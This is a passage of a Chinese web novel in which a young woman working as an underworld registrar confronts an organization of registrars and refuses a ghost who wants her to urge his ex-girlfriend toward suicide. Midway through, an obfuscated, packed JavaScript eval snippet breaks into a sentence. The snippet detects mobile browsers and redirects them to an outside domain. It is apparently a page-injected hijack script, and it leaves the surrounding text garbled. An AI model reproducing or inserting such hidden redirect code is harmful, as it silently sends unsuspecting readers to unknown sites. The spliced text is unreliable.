她不知道该怎么处理这种真心诚意,索性直接发问道:“刘元詹,除了那个还没有眉目的执念外,你还有什么其他的小心愿吗?比如想去哪呀想做什么事呀,如果你要是想知道自己的过去,我也可以努努力帮你找找。” 这下轮到刘元詹搞不清楚情况了,他只好先顺着张祎宁的问题一一回答:“心愿吗?没有。不想去哪也不想做什么事。我并非失忆,只是在漫长的时间里有所取舍地丢弃了不重要之事,如今记不得过去,可见并非要事。” 无法回报的善意最让人抓狂。 刘元詹似有所觉,说道:“百年之身,苟残于世,你愿意帮我,我无以回报。” 原来如此,看来只能更努力地帮他找到勾魂的希望了。 这时,张祎宁才找回点安定,想起还没说明昨天造成误会的原因,在这样的情形下说出来,真有点令人啼笑皆非,她努力措辞道:“昨天我是因为现实生活中的事情耽搁了,”她将两掌摊开,“这个是我的现实生活,我每天需要工作赚钱、人际交往、休息娱乐,解决自己的问题,这个是兼职掌簿,晚上来这摆摊帮你们解决问题,这两条线呢,需要并行,但我一天的时间有限,如果我没有解决好自己的问题,就没有办法和心思帮你们解决问题。” 她将右手抬起,“所以,有时我不得不因为现实生活中的事情影响到另一面,像昨晚那样的状况不会是个例,我以后也会因为各种原因时不时缺席,不过不用担心,都是正常的需要解决的事情。”反正就算遇到了危险,你一个鬼也帮不上忙。 将所有问题都说清楚,能帮助刘元詹了解现状,不至于下一次再自乱阵脚,做出冒险的事。 他认真地听着张祎宁的话,末了才感慨道:“实苦汝矣。” 十苦如蚁?时苦乳已?“什么东西?”她说了那样一大长串的说明,刘元詹就说了四个字的不知道什么东西,她很怀疑对方没听懂。 “辛苦。” 两字直击心灵,张祎宁想,刘元詹这个鬼比人更有人样,听得懂好赖话,会真心道谢,会实意关切,还体恤别人的艰辛!好同志啊! “老金,我想算一卦。” 张祎宁还未升腾起的感动转瞬变成了竖立的汗毛。 “妹子!有客上门啦!”隔壁摊位的大哥比她还激动。眼见着妹子每日定时定点摆摊算命,还照顾自己的生意,上次交谈中虽然玄乎神叨,但不像个骗子,况且,她还不收钱!大哥这几天逢人就推“这妹子是有真本事的”。 如今真有人寻上门,大哥完全确信是自己推销的结果。“不管是做哪门子的生意,吆喝推销都是省不了的。小姑娘在做生意上还是嫩了点。”他颇为满意地看向自己促成的生意,暗自思忖道。 张祎宁僵硬地抬起头,看向刚刚叫“老金”的男子,果然是杜文新。 找上门来了。 15. 疑窦“横”生 杜文新看了眼坐在凳子上的刘元詹,对方正端坐其上,视线不经意扫过另一边充满戒备神色的张祎宁。 隔壁大哥对此刻诡异的氛围毫无察觉,直接从自己的躺椅上站起,像是生怕到手的生意溜走,十分体贴地跟杜文新两人打招呼,拉过刚刚出声说想要算卦的杜文新就要按向张祎宁对面的折叠凳上。 他看不见刘元詹,也看不见目前二人一鬼脸上的丰富表情。 刘元詹眼疾身快,在他们靠近时就已起身,走到了张祎宁右侧。 大哥一边笑意盈盈地对着两人说:“这个小姑娘是有本事的,你先坐,让她好好给你算算。”一边侧着半边脑袋对张祎宁挤眉弄眼。 ……大哥,你这么明显的暗示真的很像当着主顾的面大声密谋“鱼上钩啦!”况且,这两人也不是咬钩来的。 大哥安置好杜文新后,又跑回自家摊位拖来一把红色胶凳,对着老金笑脸相迎:“你也坐,你也可以算算。”待他觉得一切妥当,不便旁听他人命数,“识相”地退回后,张祎宁没控制住嘴角地微微抽动,保持平静说道:“我不算卦,看手相。” 人来人往的大街,你又能奈我何? 杜文新没什么所谓地向前伸出手掌悬于半空,张祎宁随意看了一眼,“身体底子不好,还会有血光之灾,心怀善意便能逢凶化吉。” “逢凶化吉”四字一出,张祎宁看见杜文新的眼神黯淡了一瞬,刚刚玩味的笑容也僵在嘴角,像是挂在弯钩尖顶的重物,此刻摇摇欲坠。这是生气了?可是你自己要算的…… 只是这么一晃神,刚刚挂在弯钩上的重物消失了,那枚弯钩逐渐变弯,恢复了原本的样貌。杜文新侧头和老金对视了一瞬又移回,以闲聊的懒散口吻道:“血光之灾吗?不如这样,我今天就来表表善意,你们替我逢凶化吉如何?” 他这话是对着张祎宁和刘元詹说的。 刘元詹抢先问道:“你要如何表善意?”一直旁听并不做声的他竟先迫不及待开口询问对方求和的条件。 刘元詹突然的发言,让在场的三人表情都有微动,尤其是杜文新,他看向他们的眼神带上了审视,旋即恢复正常。 “首先,周日晚上太过匆忙,没来得及好好做个自我介绍,”他特意停顿了一下,促狭地看了张祎宁一眼。这家伙真的很记仇,也很欠揍,张祎宁本要认真分辨对方将给自己带来怎样的消息,听到这个开篇,迎上他的目光,忍不住翻了个白眼。 他无视白眼攻击,继续说道:“我和老金隶属掌簿组织——横。我们是这个区域内的负责人,负责管理、保护此区域内的所有掌簿,你那晚去的店铺是办事处,相当于任务集中分发枢纽。我们在接到任务后根据分级制度分派给不同的掌簿负责处理。”说完,他看了眼老金,等待对方的补充。 随着他视线的转移,张祎宁和刘元詹也看向老金,面对三道目光,老金不自在地皱眉开口,简要补充道:“我们是一家正规的合法的安全的卫生的餐饮店。” 张祎宁只隔着厨房玻璃远远地看见过穿着厨师装的老金,今天才看见长相,皮肤黝黑,五官都很大气,像是北方人的长相,高大健壮,留着寸头,和戴着眼镜看起来斯文瘦弱的杜文新完全是两种相悖的气质。说话的嗓音也和他的长相完美匹配,粗粗的,低沉的,让张祎宁天马行空地想到了那个词语——胸腔共鸣。 说出的话倒是和长相、嗓音相去甚远,他刚刚皱起眉头时,凶相毕现,张祎宁都担心他会直接跳起发难,却没想到是在解释餐饮店的正规,说起来,自己当时吃的赠送套餐是出自他手,摆盘精致,味道也很不错,一改她对那种餐厅“形式大于味道”的印象,可惜没敢多尝几口,她顺着话附和道:“看得出来,还挺好吃的。” 老金一晚上都没什么反应的脸上突然变得生动,正要继续说话,杜文新一把按住了他的手背,找回主动权,“我们还是先聊正事吧。你有什么想问的吗?” 有啊!那可太多问题了!一时竟不知先问什么好,张祎宁想了想,决定还是先把对方和自己之间的关系弄清楚,这是最重要的基本问题。 “你的意思是说,这个区域内的掌簿都归你俩管?包括我?” “可以这么说。当然,有组织也会有像你这种散兵游勇,你们有权选择是否加入组织,但加入组织有依靠、有保护,不需要自己单打独斗、面对危险,只需要遵守组织里为数不多的基本条约,其他行为组织都不多加干涉,这种有利无弊的买卖,几乎是所有掌簿都会欣然接受,所以,我也很好奇,你当上掌簿几月有余了,为什么一直没有和我们接触过,你是已经决定以后也要继续这样,一个人摆摊?”他难以置信地看了眼简陋的摊位。 从张祎宁的名字加入掌簿名册开始,他和老金就在等待对方的出现。但对方迟迟未至,直到听鬼提起这个新来的掌簿和刘元詹疑似有交集,他们才感到事情出现了变数。经过天桥几次,看到张祎宁摆着算命摊位,刘元詹也确实在旁,这个掌簿貌似是真打算利用非法摊位完成任务,而且还大言不惭地许下承诺要帮刘元詹勾魂…… 他们一时拿不准主意如何处理,根据几次观察,张祎宁勤勤恳恳任劳任怨,也不像是别有用心,再加上刘元詹在她身边,索性先静观其变,直到对方因为余倾山贸然来访。 对个中曲折和因由一无所知的张祎宁此刻听到杜文新的疑问,只看得见满头问号。 ?我都不知道你们是谁!?怎么接触你们!? 怎么不是你们自己来招揽我? 她隐约从对方的话语里读出隐藏的前置条件,那就是掌簿们知晓组织的存在,是否加入组织取决于自身的选择,这点和她不同,她根本无从知晓,她除了自己的身份、要做的事情外,一无所知,就连那本阴身簿如何使用都是在后续的摸索中学会的。 为什么会这样?阎王是有意相瞒还是日理万机忘记了她这个无名小卒?不对,她的掌簿身份是自己求来的,阎王本是让她入轮回,但她不甘心,千求万求,不知最后暗中付出了什么代价,她才得以回魂,以掌簿的身份。是否就是因为这点,自己与组织内的那些掌簿有所不同? 太多问题和矛盾之处了!她得在结束后跟阎王谈谈,求证一下,此刻不能让杜文新他们察觉自己的异常,从而招致麻烦。张祎宁沉默之下想法波涛翻涌,她给自己留了条后路,不否认也不肯定,只回答道:“我想先自己试试。” 她没有就此放下对杜文新和老金的戒备,谨慎地问道:“你们为什么要引刘元詹过去?” 相比张祎宁的紧绷,在听到自己的名字时,刘元詹没有什么波动,对面的两人他此前并未见过,也不觉得自己身上会有吸引对方的价值,不然这数百年间早不知遇险多少回了,但那两人身上有不一样的气息。 鬼的气息与人的气息不一样,通过□□和灵魂的结合状态可以区分出来,似张祎宁这样的掌簿他见过太多,他们就像活生生的人因置于鬼的世界从而沾染上挥之不去的鬼的气息,人与鬼的气息达到一种平衡。 “你们找上门来和我们无关,这么低级的陷阱我才不会设,还走到台前,以自己为饵?如果真要对付他,那直接针对你不是更方便?比如让你再也接不到一单生意,每个月都在焦虑和痛苦中受到折磨,或者制造各种小麻烦扰得你的生活也不安宁……”杜文新越说越兴奋,天桥下的车灯晃过,红黄交杂的灯光覆在他的镜片上,盖住了背后炯炯的双眼。 张祎宁攥紧了拳头,她光是听着就忍不住想一拳锤断杜文新的鼻梁,对于这针对自己的无妄之灾,她嗤笑道:“这又是什么声东击西的戏码?可惜,我们不是你以为的紧密关系,你只会捡了芝麻丢了西瓜。” “釜底抽薪、围魏救赵、擒贼擒王,我上演的是这些戏码。你是他到目前为止唯一的希望,希望怎么不算软肋呢?” 张祎宁没有转头去看刘元詹,但在她的视线范围内 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搞清楚了对方的路数,张祎宁不再紧张:“原来二位是新官上任初来乍到啊,刚上任就来收拾刘元詹的烂摊子了,辛苦辛苦。” 杜文新说道:“要不是你横插一脚,我们也不必多费这些口舌。” 张祎宁反唇相讥:“我兢兢业业、助人为乐,还有错啦?再说,我帮他是跟阎王报备过的好吗?阎王都没异议。” 张祎宁正自过嘴瘾,没看见对面二人的脸色都变了,老金率先反应过来,问道:“跟阎王报备过?” “对啊,唔,事后报备也是报备的一种。” 杜文新追问:“你怎么报备的?” 张祎宁说完就觉得自己说多了,他俩不会跟阎王打小报告吧?揪自己的错处,然后威压?这可不好,“‘阎王爷,我替你收了刘元詹’,就这样说呗,”张祎宁模糊地描述了一下,立刻跳过这个陷阱话题,“对了,你刚刚说的那两种形式,跟你走跟我走,本质上有什么区别呢?既然大家现在都还没想到办法帮刘元詹。” “我们那里你也去过,一个安全的避风港总比跟着你流浪强吧?” 避风港,有进无出的避风港吗? 张祎宁想起了那栋充满异样的房子和仿佛能隔绝外部空间的门,这……这也太粗暴了……被一个无法完成的执念困在时间里几百年,如今还要被困在一个狭小空间里无望地等待……张祎宁光是想一下,就浑身难受,一种被绳索捆缚透不过气、挣脱不开的窒息占据了所有感官,她果断跳过这个选项,又问道:“那那个什么加入你们……又怎么个说法?” 杜文新已经从刚才的状态里跳出,恢复了正常表情,回应道:“签订契约,我们可以提供低保,每个月两单KPI,想多接单提出申请就行,但只能接受组织分配,不可以自己私下与鬼接触和完成交易。” 需要签订契约的事情都必须慎之又慎!她本已决定要事后询问阎王,不如也顺便打探一下阎王对此事的态度,打定主意后便斟酌着开口道:“能不能让我想想?太突然了,我还需要和刘元詹讨论讨论。” 这回杜文新没有反对,两个选择,不论张祎宁最后做出的选择是什么,对他们来说都会达成一样的目的。 “还有一个问题。” 话落,天桥下突然响起了尖锐的鸣笛声。一辆汽车的鸣笛声未停歇,另外两辆、三辆随之响起,短促的、拉长的,合在一起,催得人莫名烦躁,要是此刻面前也有一个喇叭按钮,张祎宁觉得自己也会毫不犹豫加入战场,释放郁结。 周围的声音都被喇叭声浪盖住,她没有马上问出口,想起了第一次见到余倾山的时候,她也是这样烦躁,恨不得把他丢下天桥,让他摔在车流里,成为一滩腐烂肉泥。 后来,他确实如张祎宁所想的那样,跳下天桥,钻入车流,但他毫发无伤,还将自己置入目前这样一个局势不明的境地。 16. 殉情 余倾山穿着一件格子衬衫坐到张祎宁面前时,脸上带着笑,声音有点激动,他问:“我听说你有能力完成别人不能完成的事,我的也能吗?” 不用想,这样“过褒过贬”的流言全赖于她不久前对刘元詹做出的承诺,这段时间有太多慕名而来的鬼了。 活招牌刘元詹站在一旁,饶有兴致地和余倾山互相打量。 她已经不再是最初遇见一个鬼就急着上前说要帮对方实现愿望的张祎宁,鬼毕竟曾经是人,执念是死前凝聚,奇葩的人数不胜数,奇葩的鬼也一点不少见。代号“巴掌”的掌簿此刻游刃有余地打出官腔:“事有所成,有所不成,要看你所求何事。” 关键时刻还得是这种玄而又玄的老道话术能派上用场,明明是废话,听起来还很高深,当然,她不否认,这也有最近和刘元詹呆久了,被他的语言习惯传染的缘故。 “有一个人欠了我一个承诺,我只想她能完成诺言。” 轻飘飘的一句话,看似不足轻重,往往暗藏玄机。张祎宁顺着他的话问道:“什么承诺?” 余倾山盯着张祎宁的眼睛,因是魂体状态,颜色的呈现不分明,看起来就像黑洞洞的两个窟窿,透过两个窟窿仔细看,后边的街景一览无余,这猝不及防的对视让她感觉颇不自在。 他慢悠悠说道:“我和我的女朋友很恩爱,我们对彼此许下了承诺,永生永世不分离,不论生离或死别。我们约好了这一辈子要一起走到生命的尽头,不让谁先走一步,也不让谁被落下……” 不好……张祎宁听到这里已经对他所求之事有了大致的猜测。 相比余倾山愈发投入、陶醉于自己讲述的故事,张祎宁只觉坐立难安,她很想喊停,直接拒绝,但对方并未给她留话口。 “过去的一个星期,我一直日夜陪伴在她身旁,看着她熬过那些艰难的时刻,接受事情走到这个地步,我想擦掉她的眼泪,想给她一个拥抱,但我做不到,没办法给她安慰。这让我们两个都很痛苦,我想,既然无法再在人世间相伴余生,不如化蝶双宿双飞。” 说到最后,他已掩盖不住向往的笑意。 我就说!我就说这种一听起来好像是没什么技术含量的小事其实最难!陷阱!都是语言陷阱! 张祎宁不断搓着自己的大拇指背,等到对方终于从故事里回过神来,她试探着开口道:“呃……这个……那个……守诺这种事情还是要看对方的啦……”服了你们这些恋爱脑,要不要听听自己现在说的话有多离谱! 余倾山没有因为她的为难而气馁,“我听说你答应了他会帮他完成几百年来都没有办法完成的愿望,所以我觉得你应该也是性情中人,能够理解他人之苦……许下承诺不就默认赌上所有也要遵守吗?赌上的全部才算是说出口那一刻真心的重量,”他又转而望向刘元詹,“他放下了别的所有可能,将希望寄托在你身上,这个就是承诺的重量。” 上压力了上价值了。 张祎宁的脑子在飞快转动,绞尽脑汁地想委婉的拒绝话术,目光因刚才余倾山转向刘元詹的话题不自觉也落在了他的身上,四目相对,就看见刘元詹嘴唇一张一翕,替她回应道:“她愿意许诺,于我已是恩遇。” 听到刘元詹的话,余倾山先是一愣,随即像受到了刺激般提高声量问道:“那我呢!我们一起许下的诺言,我遵守了!就算是死我都没有违背,我没有入轮回,没有过黄泉,我在等她!哪怕是变成现在这样不人不鬼的样子,我都没有忘记她,我还在等她!等她来找我!” 一片离离春草转眼被燎原烈火覆盖,炙热的情绪蓬勃而起,张祎宁也不免被几滴火星子溅射到,她先调整了一下自己的呼吸,不带情绪地问道:“你想我怎么做呢?替你杀了她?这样也达不到你希望的守诺,因为这是对方被动死亡。我来给你解读一下你的愿望,你希望的是对方想起和你的承诺,带着殉情的想法自己求死,这不是我一个外人可以介入的事情。” 大概是张祎宁开始进入正题,思考对策,余倾山冷静了下来,颇为赞许地看向她,“你可以提醒她,提醒她不要忘记自己发过的誓,告诉她我会一直等着她,等到她来找我的那一天。一次不行就两次,两次不行就三次,只要她想起了曾经的我们……她一定会感谢你的,我们都会感谢你的!” 张祎宁无奈扶额:“这是挑唆、诱导自杀。” 她不禁疑惑,是不是人死亡之后变成魂体这个形态,就只剩下执念,所有的言行都会无意识围绕这个执念展开,而缺乏哪怕一点点正常的思考能力,不然是怎么说出这么多匪夷所思的话?她不只疑惑,简直可以肯定确是如此。 “你还没告诉我你的死因,不头不尾的,我就算想帮你也实在插不了手。”余倾山看着很年轻,都不到三十岁,也许还处在热恋期,才会头脑发懵,一头撞向爱情的泡沫堆里。不如先搞清楚事情的全貌,再想想有没有办法劝他放下。 听到张祎宁问及死因,高涨的情绪被兜头浇了一盆冷水,他冷静下来,回道:“意外,”忍不住伸手抚摸自己的右侧腰腹处,那里原本应该是有道贯穿的口子,“我们就差一步,只差一步就能回到过去,重新在一起……没关系,我现在找到了这个地方,不会被人打扰不会被人找到的地方,我在这里等她,只要她来了,就再也没有人可以拆散我们。” 张祎宁这时才恍然明白最初看见余倾山时,他眼里那仿若新生般的炯炯缘于何故。 “意外?什么样的意外?你说回到过去,是不是说明你们现在已经分手了?你这样模糊不清的我很难帮你啊,我对你女朋友不了解,对你们之间发生的事一无所知,又要怎么取信于她呢?” 他很不想就这个问题深入聊下去,但张祎宁执意打破砂锅问到底,他思索了一阵,简要说道:“我们大学的时候就在一起了,毕业以后我来到这个城市,她父母希望她呆在老家有个稳定的工作,但我们都不想异地恋,她跟父母吵了一架以后毅然决然来找我,所以你知道我们有多相爱了吧,我们这一辈子都是要在一起的,没什么能阻挡我们的决心,死亡也不行,”余倾山急于向张祎宁剖白自己执念的合理性,“后来她回去看望父母的时候被父母强留了下来,我跑去找她,要带她走,但她父母不同意,推搡之间发生了意外,就是这样。” 余倾山说的故事很简单,最后以一句“就是这样”结尾,刻意寻求他人认同,或是肯定自己的信念,用这样总结性语句回避更深的追问。张祎宁一个标点符号都不相信。 女孩的父亲杀掉了女孩的男朋友,因为什么呢?就因为男孩要带走自己的女儿?虽说人在盛怒之下容易冲昏了头脑,但凡事也有个度,她不认为仅是这个理由就能支撑父亲动手杀人,还当着女儿的面。 他一定有所隐瞒,张祎宁得出这个结论后没表明自己的态度,而是问道:“你叫什么名字?” 坐在对面的人皱起眉头,似乎不明白这个问题有什么必要性。张祎宁佯装这是正常程序,拿出阴身簿,竖起来,在他面前翻动了几页,似在繁杂的文字中寻找,“我需要知道你是谁,才能进行下一步,才能勾魂。” 他不再怀疑,说出了自己的名字:“余倾山。” 张祎宁阖上簿子,将早就做好的决定告知对方:“余倾山,我帮不了你,应该也不会有掌簿能完成这个任务。”不管他在讲述的过程中隐瞒的事情是什么,从一开始知悉他的需求,张祎宁就已经决定不会接下。 余倾山直直地坐在对面,表情冷了下去,平静地问:“为什么?” 他此刻面无表情,却让张祎宁感受到了比之前更明显的愠怒气息,比起谈及自己因所谓意外致死表现出的情绪,这一瞬的怒气是那么真实,带有威胁意味。 张祎宁咽了口唾液,也直起了上身,试图用一身正气抵抗威压,语气里是少见的坚定:“你高看我了,我干涉不了别人的生死,何况你的要求是让我害人。” “这不是害她,你是在帮她,帮我们。” “法律不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448793|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为我是帮她还是害她而对我伤人性命的客观事实划分区别。” 他不依不饶:“可你是掌簿。” “在掌簿之前,我是普通人。” 余倾山冷哼一声:“是我高看你了,就你这样的也能当掌簿?尸位素餐。” 张祎宁毫不客气地回敬:“承让承让。” “我就不该寄希望于一个女掌簿。” 张祎宁从鼻子里喷出一气,斜眼看他,“好走不送。” “你!”余倾山腾地起身,高举拳头就要朝着张祎宁落下,刘元詹迅速向前一个身位挡在了他们中间,张祎宁看着面前身形重叠起的二鬼,她都能透过刘元詹的背看见余倾山狰狞的脸和飞向自己的拳头,眼睛都不带眨一下,这俩碰不到对方,也碰不了她,不知道在这演啥呢。 “走吧,去找个男掌簿帮你。”她特意咬重音。 余倾山对此的反馈是连环飘飘拳。张祎宁眼不见为净地闭上双眼。 暴躁易怒、无理取闹,指不定还是个家暴男。 “他走了。”不知过了多久,刘元詹的声音传来,张祎宁才睁眼,对面凳子上的鬼已经不再是纠缠的余倾山,而是面容温和的刘元詹,她如释重负地长舒一口气,转头四下看了一圈,确认余倾山已经负气离去。 她苦笑道:“如果不是因为你们的特殊形态,我估计早就被群殴打死了。” 刘元詹闻言,轻笑出声:“二对一,我们占上风。” 刘元詹竟逗得她笑了起来,想象了下一人一鬼摁着余倾山打的画面,一整晚横在张祎宁头上的乌云才被挥开,她极力控制脑海里的画面和逐渐扩张的笑意,摆摆手道:“那可不行,会砸招牌的。唉,早知道从一开始就直接打断拒绝,不让他说下去,都怪这该死的好奇心,也不知道有没有引火上身。” 虽然赶走了余倾山,但张祎宁的脑子里还不停回荡着他说过的话以及变化的表情。这种听起来就有点“内幕”又带点伦理剧情的案子,还是一个星期前发生的,能找到她这里来,说明应该就在这个城市,也许就在不远的街区,以现在的网络发达和信息透明程度,大概率是可以在网上找到案件介绍的。 好奇会害死猫,但满足了就没事。 张祎宁在搜索框填上“余倾山”三个字,没有找到相关的资料。 也不知道是不是这三个字。 她想了想,还是以事件关键词作为搜索词比较贴切,于是,又相继搜索了“谋杀”、“杀死男友”、“纠纷”、“女友父亲”等词语,终于在“女友父亲”的搜索条例里找到了看起来相关的案件。 它的标题是《男子欲上门施暴,遭女友父亲反杀》,时间是在两周前,离这个街区有些远,简述里只说明了事件发生时的经过——余倾山趁着女友父亲离家不在的空档上门,女友的母亲还陪同在家,那把刀是他自己随身携带的,在争执之际,他刺伤了女友的母亲,后又被碰巧回来的女友父亲用那把刀反杀。被刺伤的母亲转院后便是在这座天桥一侧的仁心医院。 余倾山隐瞒了女友母亲被他刺伤以及刀是他自己带去的事实。 报道里还提到两人已分手,而余倾山纠缠不休,不断上门骚扰被拒的背景状况。 果然,听着就觉得不大对劲。张祎宁将查到的消息也告知给刘元詹,同时为自己刚才没有多骂几句余倾山而懊恼:“我还跟不知悔改的杀人犯讲道理,真是浪费了一个美好的夜晚。” “也许看着自己无法如愿于他而言便是最残酷的惩罚。”刘元詹望向远处,悠悠说道。 张祎宁也认同这个看法,再说她也做不了什么,只是不太甘心,“如果能和鬼有接触也行,遇到这种鬼我还能给他来顿暴打解气,合情合理。” 他们达成的不让余倾山如愿的共识,却因为杜文新和老金落了空,这让张祎宁从一开始对“横”就带上了偏见,如若未来还要和他们继续接触,除了弄清楚他们对刘元詹是否抱有恶意外,余倾山一事也是绕不过的疙瘩。 17. 临时抱阎王脚 喇叭声浪攻击已经停息,但余倾山兴奋的、挑衅的神情活跃在张祎宁眼前,她感到憋闷,语气变得生硬:“你们为什么要帮余倾山?怎么帮他的?” 还真给他找到“男掌簿”了? 她上周在对方的据点里问过类似的问题,但当时杜文新给出的答案是“义不容辞”,再深的解释就被后续转向刘元詹的话题给带跑了,但这四个字还是给她留下了深刻的印象,让她心有不快。 有了前车之鉴,杜文新这次没再开他那些只会让氛围降至冰点、将事情拖延的玩笑,问道:“你去过我们那了,觉得那个地方如何?” 正想回答“还可以,所以呢”,张祎宁突然想到之前刘元詹对余倾山异常举动的描述和那扇门,杜文新顺着她的问题提到那个据点,是否说明与此相关? 她试探性说道:“那个地方……那个地方有封印或者是什么结界之类的?” 杜文新笑了笑:“还好,你起码有观察能力。” 没等回话,他继续道:“学名‘灵狱’。你可以简单理解为结界,不得擅闯,不得擅离,这样的地方,你也可以换一个理解方式……”他停顿了两秒,眯着眼睛笑看向刘元詹,“监狱。” 监狱。 余倾山被关在了里面,那个监狱。 出乎意料的回答和走向,张祎宁悄悄捏紧自己的掌心,努力消化信息。这说明他们不是无原则帮助鬼魂完成执念的,也会做区分,而且!而且他们不像自己,完成任务纯靠撞运气,能做的做,做不了的也没法,他们有工具有人力还有法术!这才是自己最初想象中的“掌簿”啊……难怪杜文新是这副性子…… “也……也没见到余倾山啊……” “监狱自是不会让你们能这么容易相见。” 张祎宁看向杜文新的眼神里带上了些许羡慕,但她没有忘记刚才他定格在刘元詹身上的眼神,戒备地问道:“你们想把刘元詹也关进去?” “要关早关了,当然,我这个人正义感爆棚,不忍心看他继续流离失所,我死之前一定会记得把他关进去的。” 虽然杜文新看起来比她年长,但她实在忍不住,以同样的口吻对老金揶揄道:“以他的说话艺术,还好端端地坐在这,想必你出了不少力。” 老金大概是有那种能不说话就不说话,但对方递话口了就必须要说上两句的奇怪设定,他的回应牛头不对马嘴:“监狱和餐厅、厨房是分开独立于两个空间的,餐厅的卫生安全可以放心。” 和这两个人对话有种在密闭的小黑屋内瓜分稀薄氧气的累,该知道的都差不多知道了,做决定的事情还得留待她跟阎王聊过之后。 不管怎么样,对余倾山的处理方式比起自己和刘元詹之前达成的共识还要更好,她吸了口气由衷地说:“余倾山来找我说完他的事情,我只觉得荒唐,打发走了他,之后在网上查到了和他说的有出入的另一个版本,那时候我后悔没有骂他一顿,虽然除了解气没什么用……再后来就是他跑到我面前显摆,说有人要帮他了,我不能接受,所以才会跑到你们那,想看看到底何方神圣这么是非不分……咳……那啥,现在还挺解气的,之前说的我会尽快做出决定,到时候怎么联系你们,直接上门吗?” 杜文新淡淡答道:“虽然不知道你还要怎么做决定,但你们直接上门。” 他说,你们。 秉着“伸手不打笑脸人”的宗旨,张祎宁笑着答应:“好,我们到时店里见。刘元詹就交给我吧。”说完就直接站了起来,摆出送客的姿态,对面二人也随之站起。 “你们结束啦?”高亢兴奋的说话声由远及近,旁边摊位的大哥见他们都站了起来,忙上前问道。但他敏锐捕捉到了杜文新板起的脸,心下打鼓,问道:“怎么?不顺利吗?” 他当下的反应就是算出来的东西估计是两个小伙子不能接受的,多半是坏事,而不是算出来的不准,因为他的亲身经历告诉他,这小姑娘有点本事。 他正要开口说些“算出来好坏都还有机会”等等安抚性话语时,却见那个戴着眼镜的高个儿小伙收起了表情,答道:“还算顺利,离趋吉避凶就差一步。” 他又看向旁边那个粗犷汉子,对方点点头表示附和,这才放下心来,颇有种自豪感:“我就说嘛,她是有本事的,那个什么吉啊凶啊的你也不要介意,是命眼来的,她不好给你说那么清楚,折寿的哇!” 杜文新一挑眉头,颇感兴趣地问道:“哦?你也很懂?” 大哥发出爽朗的笑声,“欸~不敢,从她这学的。” 考虑到之前小姑娘就没收给自己算命的钱,再加上人是自己吆喝来的,他很有主人翁精神地帮“脸皮薄”的小姑娘讨要报酬,拇指搓着食指和中指,咧开童叟无欺的笑容,“这个东西,给多少不强求,看心意,看诚意。” 杜文新这回是真笑出了声,看向表情无比尴尬的张祎宁,戏谑道:“也是,该给点钱的,毕竟正在摆摊。” “摆摊”两字咬得格外重,张祎宁怎能听不出来,他这是在提醒自己非法摆摊的事,之前还能耍赖否认说没有过交易,这要是收钱了,性质可就坐实了! 她赶紧摆手制止:“不用不用,交个朋友。” 这哪成!自己是隔壁摊位的老板,满打满算半个自己人,免费人情受之无愧,他也尽心替小姑娘宣传,但如果给外来客也免费,还做什么生意?大哥恨铁不成钢地用力调动五官向张祎宁抗议,边噙着笑继续劝道:“去礼佛还得添点香油钱,算命同理,表的是一个诚心不是?” 杜文新点点头,似乎很是认同大哥的话,掏出手机就要打开付款码。 张祎宁被这两人一左一右的话夹着,不得不走到他们之中,推着杜文新往外走,一脸严肃地对大哥说道:“使不得,这两人的命途与我有交集,助成他们之事可解我之危,不敢收钱。” 大哥被张祎宁郑重的表情和煞有其事的话晃了一下,呆愣在原地,一时竟不知作何反应,命啊危啊的,可能诈唬人了。 杜文新被张祎宁推离了大哥的射程范围,丢下一句“你当神棍比掌簿合适”的评价后就随老金一同离开。 这话无法反驳,她自己也觉得身上的神棍气质越来越盛,当神棍可比当掌簿简单,上下嘴皮子一碰,事情就解决了。唉,张祎宁觉得事情的转折点就出在她花钱买下大哥的《神棍列传》上。 卖出《神棍列传》的大哥不知道张祎宁的心思,虽然已经被她给出的理由说服了,但还是心疼这笔没收到的钱,就像自己被逃单了一样,小声对着她嘟囔道:“毕竟还是开门做生意,唉……” 送走了各路大神,张祎宁疲惫地伸了伸懒腰,一晚上坐在小小的折叠凳上实在太难受了,硌得屁股疼,目光瞥到一旁大哥的折叠躺椅,有点羡慕,觉得自己还得升级成有靠背的折叠椅才行。 她转头看向一晚上没怎么出声的刘元詹,正想问问他的看法,就看见他凑了过来,因为离得近,张祎宁能近距离看清他的五官面貌,好像与她印象中的有所出入。 往常她与刘元詹之间都隔着一定的社交距离,他比自己高一个头有余,身影透明,在张祎宁眼中总是影影绰绰的,如果不认真看,还总是会将目光聚焦在他身后的街景上,所以张祎宁看刘元詹和其他鬼除了着装不同,没有太大的分别。 此刻认真细瞧,才刻画出了对方的五官,面部线条很流畅,也很淡,单个部位分开看都没有入目不忘的特质,但组合在一起便很舒服,像是,像是一块温润的鹅卵石,呃,这个形容有些掉价,张祎宁默默在心里改成了——温润的玉石。 “杜文新说的有道理。”张祎宁的视线正逐一划过他的五官时,刘元詹犹豫了一阵,还是开口说道。 “嗯?” 哪句?他说过太多话了,让她加入横、结界的事情,还说要把你关进监狱呢。 他将那些话以自己的角度做了改写:“他们可以不是友,但不能为敌,百害而无一利。” 张祎宁默然了几秒,才重新看向他:“我知道,但他只给了两种选择,一个是要把你关进监狱去,一个是要我加入他们。这不就只有友和敌两种身份可选吗?他没给第三条路。” “说是两条路,可我要是加入他们了,还不得服从安排?不过是他们现在关你和到时候我跟他们一起关你的区别而已。”张祎宁撇了撇嘴,嘀嘀咕咕。 刘元詹的表情没有丝毫变化,依旧静静注视着她,好像对张祎宁的说法无可也无不可,这让她感到好奇,这人竟然没什么反应?纳闷道:“你不会真能接受被关进去吧?” “我听你的。” 听我的!? 他能接受被关进去!看来执念以外,他真的别无所求,对什么都无所谓了。 没经历过六百年光景的张祎宁搞不懂,只觉震惊,慌乱地推脱:“你自己的事情自己决定。” 仔细想想,她前有随口答应刘元詹帮他实现执念,后又跟杜文新承诺亲自监管刘元詹……怎么就给自己揽了 